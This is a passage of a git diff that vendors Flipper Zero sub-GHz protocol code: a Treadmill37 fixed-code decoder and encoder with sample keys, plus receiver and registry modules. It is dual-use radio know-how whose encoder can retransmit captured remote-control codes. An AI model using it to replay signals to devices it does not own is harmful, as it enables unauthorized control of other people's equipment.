+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderSomfyTelis instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return true On success
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_somfy_telis_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderSomfyTelis instance
+ */
+void subghz_protocol_encoder_somfy_telis_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderSomfyTelis instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_somfy_telis_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderSomfyTelis.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderSomfyTelis* pointer to a SubGhzProtocolDecoderSomfyTelis instance
+ */
+void* subghz_protocol_decoder_somfy_telis_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderSomfyTelis.
+ * @param context Pointer to a SubGhzProtocolDecoderSomfyTelis instance
+ */
+void subghz_protocol_decoder_somfy_telis_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderSomfyTelis.
+ * @param context Pointer to a SubGhzProtocolDecoderSomfyTelis instance
+ */
+void subghz_protocol_decoder_somfy_telis_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderSomfyTelis instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_somfy_telis_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderSomfyTelis instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_somfy_telis_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderSomfyTelis.
+ * @param context Pointer to a SubGhzProtocolDecoderSomfyTelis instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_somfy_telis_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderSomfyTelis.
+ * @param context Pointer to a SubGhzProtocolDecoderSomfyTelis instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_somfy_telis_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderSomfyTelis instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_somfy_telis_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/treadmill37.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/treadmill37.c
new file mode 100644
index 000000000..ddb8ba021
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/treadmill37.c
@@ -0,0 +1,356 @@
+#include "treadmill37.h"
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolTreadmill37"
+
+static const SubGhzBlockConst subghz_protocol_treadmill37_const = {
+    .te_short = 300,
+    .te_long = 900,
+    .te_delta = 150,
+    .min_count_bit_for_found = 37,
+};
+
+struct SubGhzProtocolDecoderTreadmill37 {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderTreadmill37 {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    Treadmill37DecoderStepReset = 0,
+    Treadmill37DecoderStepSaveDuration,
+    Treadmill37DecoderStepCheckDuration,
+} Treadmill37DecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_treadmill37_decoder = {
+    .alloc = subghz_protocol_decoder_treadmill37_alloc,
+    .free = subghz_protocol_decoder_treadmill37_free,
+
+    .feed = subghz_protocol_decoder_treadmill37_feed,
+    .reset = subghz_protocol_decoder_treadmill37_reset,
+
+    .get_hash_data = subghz_protocol_decoder_treadmill37_get_hash_data,
+    .serialize = subghz_protocol_decoder_treadmill37_serialize,
+    .deserialize = subghz_protocol_decoder_treadmill37_deserialize,
+    .get_string = subghz_protocol_decoder_treadmill37_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_treadmill37_encoder = {
+    .alloc = subghz_protocol_encoder_treadmill37_alloc,
+    .free = subghz_protocol_encoder_treadmill37_free,
+
+    .deserialize = subghz_protocol_encoder_treadmill37_deserialize,
+    .stop = subghz_protocol_encoder_treadmill37_stop,
+    .yield = subghz_protocol_encoder_treadmill37_yield,
+};
+
+const SubGhzProtocol subghz_protocol_treadmill37 = {
+    .name = SUBGHZ_PROTOCOL_TREADMILL37_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_treadmill37_decoder,
+    .encoder = &subghz_protocol_treadmill37_encoder,
+};
+
+void* subghz_protocol_encoder_treadmill37_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderTreadmill37* instance = malloc(sizeof(SubGhzProtocolEncoderTreadmill37));
+
+    instance->base.protocol = &subghz_protocol_treadmill37;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 128;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_treadmill37_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderTreadmill37* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderTreadmill37 instance
+ */
+static void
+    subghz_protocol_encoder_treadmill37_get_upload(SubGhzProtocolEncoderTreadmill37* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+
+    // Send key and GAP
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            // Send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_treadmill37_const.te_long);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_treadmill37_const.te_short * 20);
+            } else {
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_treadmill37_const.te_short);
+            }
+        } else {
+            // Send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_treadmill37_const.te_short);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_treadmill37_const.te_short * 20);
+            } else {
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_treadmill37_const.te_long);
+            }
+        }
+    }
+
+    instance->encoder.size_upload = index;
+    return;
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_treadmill37_check_remote_controller(SubGhzBlockGeneric* instance) {
+    instance->serial = instance->data >> 17;
+    instance->cnt = (instance->data >> 1) & 0xFFFF;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_treadmill37_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderTreadmill37* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_treadmill37_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_treadmill37_check_remote_controller(&instance->generic);
+        subghz_protocol_encoder_treadmill37_get_upload(instance);
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_treadmill37_stop(void* context) {
+    SubGhzProtocolEncoderTreadmill37* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_treadmill37_yield(void* context) {
+    SubGhzProtocolEncoderTreadmill37* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_treadmill37_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderTreadmill37* instance = malloc(sizeof(SubGhzProtocolDecoderTreadmill37));
+    instance->base.protocol = &subghz_protocol_treadmill37;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_treadmill37_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderTreadmill37* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_treadmill37_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderTreadmill37* instance = context;
+    instance->decoder.parser_step = Treadmill37DecoderStepReset;
+}
+
+void subghz_protocol_decoder_treadmill37_feed(
+    void* context,
+    bool level,
+    volatile uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderTreadmill37* instance = context;
+
+    // Treadmill37 (QH-433) Decoder
+    // 2026 - @xMasterX (MMX)
+
+    // Key samples
+    //              serial                  button           stop
+    // 1800001830 = 00011000000000000000000 0000110000011000 0
+    // 180000061E = 00011000000000000000000 0000001100001111 0
+    // 180000142C = 00011000000000000000000 0000101000010110 0
+    // 1800000C24 = 00011000000000000000000 0000011000010010 0
+    // 180001556C = 00011000000000000000000 1010101010110110 0
+    // 180001334A = 00011000000000000000000 1001100110100101 0
+
+    switch(instance->decoder.parser_step) {
+    case Treadmill37DecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_treadmill37_const.te_short * 20) <
+                        subghz_protocol_treadmill37_const.te_delta * 4)) {
+            //Found GAP
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.parser_step = Treadmill37DecoderStepSaveDuration;
+        }
+        break;
+    case Treadmill37DecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = Treadmill37DecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = Treadmill37DecoderStepReset;
+        }
+        break;
+    case Treadmill37DecoderStepCheckDuration:
+        if(!level) {
+            // Bit 0 is short and long timing = 300us HIGH (te_last) and 900us LOW
+            if((DURATION_DIFF(
+                    instance->decoder.te_last, subghz_protocol_treadmill37_const.te_short) <
+                subghz_protocol_treadmill37_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_treadmill37_const.te_long) <
+                subghz_protocol_treadmill37_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = Treadmill37DecoderStepSaveDuration;
+                // Bit 1 is long and short timing = 900us HIGH (te_last) and 300us LOW
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_treadmill37_const.te_long) <
+                 subghz_protocol_treadmill37_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_treadmill37_const.te_short) <
+                 subghz_protocol_treadmill37_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = Treadmill37DecoderStepSaveDuration;
+            } else if(
+                // End of the key
+                DURATION_DIFF(duration, subghz_protocol_treadmill37_const.te_short * 20) <
+                subghz_protocol_treadmill37_const.te_delta * 4) {
+                //Found next GAP and add bit 0 or 1 (only bit 0 was found on the remotes)
+                if((DURATION_DIFF(
+                        instance->decoder.te_last, subghz_protocol_treadmill37_const.te_short) <
+                    subghz_protocol_treadmill37_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                }
+                if((DURATION_DIFF(
+                        instance->decoder.te_last, subghz_protocol_treadmill37_const.te_long) <
+                    subghz_protocol_treadmill37_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                }
+                // If got 37 bits key reading is finished
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_treadmill37_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->decoder.parser_step = Treadmill37DecoderStepReset;
+            } else {
+                instance->decoder.parser_step = Treadmill37DecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = Treadmill37DecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_treadmill37_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderTreadmill37* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_treadmill37_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderTreadmill37* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_treadmill37_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderTreadmill37* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic,
+        flipper_format,
+        subghz_protocol_treadmill37_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_treadmill37_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderTreadmill37* instance = context;
+
+    subghz_protocol_treadmill37_check_remote_controller(&instance->generic);
+
+    uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
+        instance->generic.data, instance->generic.data_count_bit);
+
+    // for future use
+    // // push protocol data to global variable
+    // subghz_block_generic_global.btn_is_available = false;
+    // subghz_block_generic_global.current_btn = instance->generic.btn;
+    // subghz_block_generic_global.btn_length_bit = 4;
+    // //
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key: 0x%08llX\r\n"
+        "Yek: 0x%08llX\r\n"
+        "Serial: 0x%06lX\r\n"
+        "Btn: %04lX",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint64_t)(instance->generic.data & 0xFFFFFFFFFF),
+        (code_found_reverse & 0xFFFFFFFFFF),
+        instance->generic.serial,
+        instance->generic.cnt);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/treadmill37.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/treadmill37.h
new file mode 100644
index 000000000..8954266f6
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/treadmill37.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_TREADMILL37_NAME "Treadmill37"
+
+typedef struct SubGhzProtocolDecoderTreadmill37 SubGhzProtocolDecoderTreadmill37;
+typedef struct SubGhzProtocolEncoderTreadmill37 SubGhzProtocolEncoderTreadmill37;
+
+extern const SubGhzProtocolDecoder subghz_protocol_treadmill37_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_treadmill37_encoder;
+extern const SubGhzProtocol subghz_protocol_treadmill37;
+
+/**
+ * Allocate SubGhzProtocolEncoderTreadmill37.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderTreadmill37* pointer to a SubGhzProtocolEncoderTreadmill37 instance
+ */
+void* subghz_protocol_encoder_treadmill37_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderTreadmill37.
+ * @param context Pointer to a SubGhzProtocolEncoderTreadmill37 instance
+ */
+void subghz_protocol_encoder_treadmill37_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderTreadmill37 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_treadmill37_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderTreadmill37 instance
+ */
+void subghz_protocol_encoder_treadmill37_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderTreadmill37 instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_treadmill37_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderTreadmill37.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderTreadmill37* pointer to a SubGhzProtocolDecoderTreadmill37 instance
+ */
+void* subghz_protocol_decoder_treadmill37_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderTreadmill37.
+ * @param context Pointer to a SubGhzProtocolDecoderTreadmill37 instance
+ */
+void subghz_protocol_decoder_treadmill37_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderTreadmill37.
+ * @param context Pointer to a SubGhzProtocolDecoderTreadmill37 instance
+ */
+void subghz_protocol_decoder_treadmill37_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderTreadmill37 instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_treadmill37_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderTreadmill37 instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_treadmill37_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderTreadmill37.
+ * @param context Pointer to a SubGhzProtocolDecoderTreadmill37 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_treadmill37_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderTreadmill37.
+ * @param context Pointer to a SubGhzProtocolDecoderTreadmill37 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_treadmill37_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderTreadmill37 instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_treadmill37_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/receiver.c b/lib/subghz_unleashed_vendor/src/subghz/receiver.c
new file mode 100644
index 000000000..e7dff3b9a
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/receiver.c
@@ -0,0 +1,125 @@
+#include "receiver.h"
+
+#include "registry.h"
+
+#include <m-array.h>
+
+typedef struct {
+    SubGhzProtocolEncoderBase* base;
+} SubGhzReceiverSlot;
+
+ARRAY_DEF(SubGhzReceiverSlotArray, SubGhzReceiverSlot, M_POD_OPLIST); //-V658
+#define M_OPL_SubGhzReceiverSlotArray_t() ARRAY_OPLIST(SubGhzReceiverSlotArray, M_POD_OPLIST)
+
+struct SubGhzReceiver {
+    SubGhzReceiverSlotArray_t slots;
+    SubGhzProtocolFlag filter;
+
+    SubGhzReceiverCallback callback;
+    void* context;
+};
+
+SubGhzReceiver* subghz_receiver_alloc_init(SubGhzEnvironment* environment) {
+    SubGhzReceiver* instance = malloc(sizeof(SubGhzReceiver));
+    SubGhzReceiverSlotArray_init(instance->slots);
+    const SubGhzProtocolRegistry* protocol_registry_items =
+        subghz_environment_get_protocol_registry(environment);
+
+    for(size_t i = 0; i < subghz_protocol_registry_count(protocol_registry_items); ++i) {
+        const SubGhzProtocol* protocol =
+            subghz_protocol_registry_get_by_index(protocol_registry_items, i);
+
+        if(protocol->decoder && protocol->decoder->alloc) {
+            SubGhzReceiverSlot* slot = SubGhzReceiverSlotArray_push_new(instance->slots);
+            slot->base = protocol->decoder->alloc(environment);
+        }
+    }
+
+    instance->callback = NULL;
+    instance->context = NULL;
+    return instance;
+}
+
+void subghz_receiver_free(SubGhzReceiver* instance) {
+    furi_check(instance);
+
+    instance->callback = NULL;
+    instance->context = NULL;
+
+    // Release allocated slots
+    for
+        M_EACH(slot, instance->slots, SubGhzReceiverSlotArray_t) {
+            slot->base->protocol->decoder->free(slot->base);
+            slot->base = NULL;
+        }
+    SubGhzReceiverSlotArray_clear(instance->slots);
+
+    free(instance);
+}
+
+void subghz_receiver_decode(SubGhzReceiver* instance, bool level, uint32_t duration) {
+    furi_check(instance);
+    furi_check(instance->slots);
+
+    for
+        M_EACH(slot, instance->slots, SubGhzReceiverSlotArray_t) {
+            if((slot->base->protocol->flag & instance->filter) != 0) {
+                slot->base->protocol->decoder->feed(slot->base, level, duration);
+            }
+        }
+}
+
+void subghz_receiver_reset(SubGhzReceiver* instance) {
+    furi_check(instance);
+    furi_check(instance->slots);
+
+    for
+        M_EACH(slot, instance->slots, SubGhzReceiverSlotArray_t) {
+            slot->base->protocol->decoder->reset(slot->base);
+        }
+}
+
+static void subghz_receiver_rx_callback(SubGhzProtocolDecoderBase* decoder_base, void* context) {
+    SubGhzReceiver* instance = context;
+    if(instance->callback) {
+        instance->callback(instance, decoder_base, instance->context);
+    }
+}
+
+void subghz_receiver_set_rx_callback(
+    SubGhzReceiver* instance,
+    SubGhzReceiverCallback callback,
+    void* context) {
+    furi_check(instance);
+
+    for
+        M_EACH(slot, instance->slots, SubGhzReceiverSlotArray_t) {
+            subghz_protocol_decoder_base_set_decoder_callback(
+                (SubGhzProtocolDecoderBase*)slot->base, subghz_receiver_rx_callback, instance);
+        }
+
+    instance->callback = callback;
+    instance->context = context;
+}
+
+void subghz_receiver_set_filter(SubGhzReceiver* instance, SubGhzProtocolFlag filter) {
+    furi_check(instance);
+    instance->filter = filter;
+}
+
+SubGhzProtocolDecoderBase* subghz_receiver_search_decoder_base_by_name(
+    SubGhzReceiver* instance,
+    const char* decoder_name) {
+    furi_check(instance);
+
+    SubGhzProtocolDecoderBase* result = NULL;
+
+    for
+        M_EACH(slot, instance->slots, SubGhzReceiverSlotArray_t) {
+            if(strcmp(slot->base->protocol->name, decoder_name) == 0) {
+                result = (SubGhzProtocolDecoderBase*)slot->base;
+                break;
+            }
+        }
+    return result;
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/receiver.h b/lib/subghz_unleashed_vendor/src/subghz/receiver.h
new file mode 100644
index 000000000..2ef722d1f
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/receiver.h
@@ -0,0 +1,73 @@
+#pragma once
+
+#include "types.h"
+#include "protocols/base.h"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef struct SubGhzReceiver SubGhzReceiver;
+
+typedef void (*SubGhzReceiverCallback)(
+    SubGhzReceiver* decoder,
+    SubGhzProtocolDecoderBase* decoder_base,
+    void* context);
+
+/**
+ * Allocate and init SubGhzReceiver.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzReceiver* pointer to a SubGhzReceiver instance
+ */
+SubGhzReceiver* subghz_receiver_alloc_init(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzReceiver.
+ * @param instance Pointer to a SubGhzReceiver instance
+ */
+void subghz_receiver_free(SubGhzReceiver* instance);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param instance Pointer to a SubGhzReceiver instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_receiver_decode(SubGhzReceiver* instance, bool level, uint32_t duration);
+
+/**
+ * Reset decoder SubGhzReceiver.
+ * @param instance Pointer to a SubGhzReceiver instance
+ */
+void subghz_receiver_reset(SubGhzReceiver* instance);
+
+/**
+ * Set a callback upon completion of successful decoding of one of the protocols.
+ * @param instance Pointer to a SubGhzReceiver instance
+ * @param callback Callback, SubGhzReceiverCallback
+ * @param context Context
+ */
+void subghz_receiver_set_rx_callback(
+    SubGhzReceiver* instance,
+    SubGhzReceiverCallback callback,
+    void* context);
+
+/**
+ * Set the filter of receivers that will work at the moment.
+ * @param instance Pointer to a SubGhzReceiver instance
+ * @param filter Filter, SubGhzProtocolFlag
+ */
+void subghz_receiver_set_filter(SubGhzReceiver* instance, SubGhzProtocolFlag filter);
+
+/**
+ * Search for a cattery by his name.
+ * @param instance Pointer to a SubGhzReceiver instance
+ * @param decoder_name Receiver name
+ * @return SubGhzProtocolDecoderBase* pointer to a SubGhzProtocolDecoderBase instance
+ */
+SubGhzProtocolDecoderBase*
+    subghz_receiver_search_decoder_base_by_name(SubGhzReceiver* instance, const char* decoder_name);
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/registry.c b/lib/subghz_unleashed_vendor/src/subghz/registry.c
new file mode 100644
index 000000000..be62b4649
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/registry.c
@@ -0,0 +1,30 @@
+#include "registry.h"
+
+const SubGhzProtocol* subghz_protocol_registry_get_by_name(
+    const SubGhzProtocolRegistry* protocol_registry,
+    const char* name) {
+    furi_check(protocol_registry);
+
+    for(size_t i = 0; i < subghz_protocol_registry_count(protocol_registry); i++) {
+        if(strcmp(name, protocol_registry->items[i]->name) == 0) {
+            return protocol_registry->items[i];
+        }
+    }
+    return NULL;
+}
+
+const SubGhzProtocol* subghz_protocol_registry_get_by_index(
+    const SubGhzProtocolRegistry* protocol_registry,
+    size_t index) {
+    furi_check(protocol_registry);
+    if(index < subghz_protocol_registry_count(protocol_registry)) {
+        return protocol_registry->items[index];
+    } else {
+        return NULL;
+    }
+}
+
+size_t subghz_protocol_registry_count(const SubGhzProtocolRegistry* protocol_registry) {
+    furi_check(protocol_registry);
+    return protocol_registry->size;
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/registry.h b/lib/subghz_unleashed_vendor/src/subghz/registry.h
new file mode 100644
index 000000000..8de376b16
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/registry.h
@@ -0,0 +1,48 @@
+#pragma once
+
+#include "types.h"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef struct SubGhzEnvironment SubGhzEnvironment;
+
+typedef struct SubGhzProtocolRegistry SubGhzProtocolRegistry;
+typedef struct SubGhzProtocol SubGhzProtocol;
+
+struct SubGhzProtocolRegistry {
+    const SubGhzProtocol* const* items;
+    const size_t size;
+};
+
+/**
+ * Registration by name SubGhzProtocol.
+ * @param protocol_registry SubGhzProtocolRegistry
+ * @param name Protocol name
+ * @return SubGhzProtocol* pointer to a SubGhzProtocol instance
+ */
+const SubGhzProtocol* subghz_protocol_registry_get_by_name(
+    const SubGhzProtocolRegistry* protocol_registry,
+    const char* name);
+
+/**
+ * Registration protocol by index in array SubGhzProtocol.
+ * @param protocol_registry SubGhzProtocolRegistry
+ * @param index Protocol by index in array
+ * @return SubGhzProtocol* pointer to a SubGhzProtocol instance
+ */
+const SubGhzProtocol* subghz_protocol_registry_get_by_index(
+    const SubGhzProtocolRegistry* protocol_registry,
+    size_t index);
+
+/**
+ * Getting the number of registered protocols.
+ * @param protocol_registry SubGhzProtocolRegistry
+ * @return Number of protocols
+ */
+size_t subghz_protocol_registry_count(const SubGhzProtocolRegistry* protocol_registry);
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/lib/subghz_unleashed_vendor/src/subghz/subghz_file_encoder_worker.c b/lib/subghz_unleashed_vendor/src/subghz/subghz_file_encoder_worker.c
new file mode 100644
index 000000000..1b8d4b667
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/subghz_file_encoder_worker.c
@@ -0,0 +1,251 @@
+#include "subghz_file_encoder_worker.h"
+
+#include <toolbox/stream/stream.h>
+#include <flipper_format/flipper_format.h>
+#include <flipper_format/flipper_format_i.h>
+#include <lib/subghz/devices/devices.h>
+#include <lib/toolbox/strint.h>
+
+#define TAG "SubGhzFileEncoderWorker"
+
+#define SUBGHZ_FILE_ENCODER_LOAD 512
+
+struct SubGhzFileEncoderWorker {
+    FuriThread* thread;
+    FuriStreamBuffer* stream;
+
+    Storage* storage;
